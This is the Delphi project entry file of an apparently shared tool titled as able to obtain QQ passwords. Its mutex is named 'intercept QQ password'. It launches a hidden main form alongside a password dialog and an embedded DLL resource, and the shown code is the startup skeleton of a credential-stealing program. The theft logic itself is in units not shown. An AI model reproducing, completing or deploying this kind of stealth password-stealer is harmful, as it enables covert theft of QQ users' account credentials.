gqp.dpr

来自「可以获得qq密码」· DPR 代码 · 共 31 行

{....................author: ZHY............
 ....................qq:65862177............
 ...........e-mail:[e-mail].........
}
program GQP;

uses
  Forms,
  windows,
  Mainfrm in 'Mainfrm.pas' {GQPFRM},
  Types in 'Types.pas',
  PassWordFrm in 'PassWordFrm.pas' {PasswordDlg};


{$R *.RES}
{$R Dll.res}
var
  hMutex:HWND;
begin
  hMutex:=CreateMutex(nil,false,'截取QQ密码');
  if GetLastError<>ERROR_ALREADY_EXISTS then
   begin
     Application.Initialize;
     application.ShowMainForm:=false;
     Application.CreateForm(TGQPFRM, GQPFRM);
  Application.CreateForm(TPasswordDlg, PasswordDlg);
  Application.Run;
   end;
  ReleaseMutex(hMutex);
end.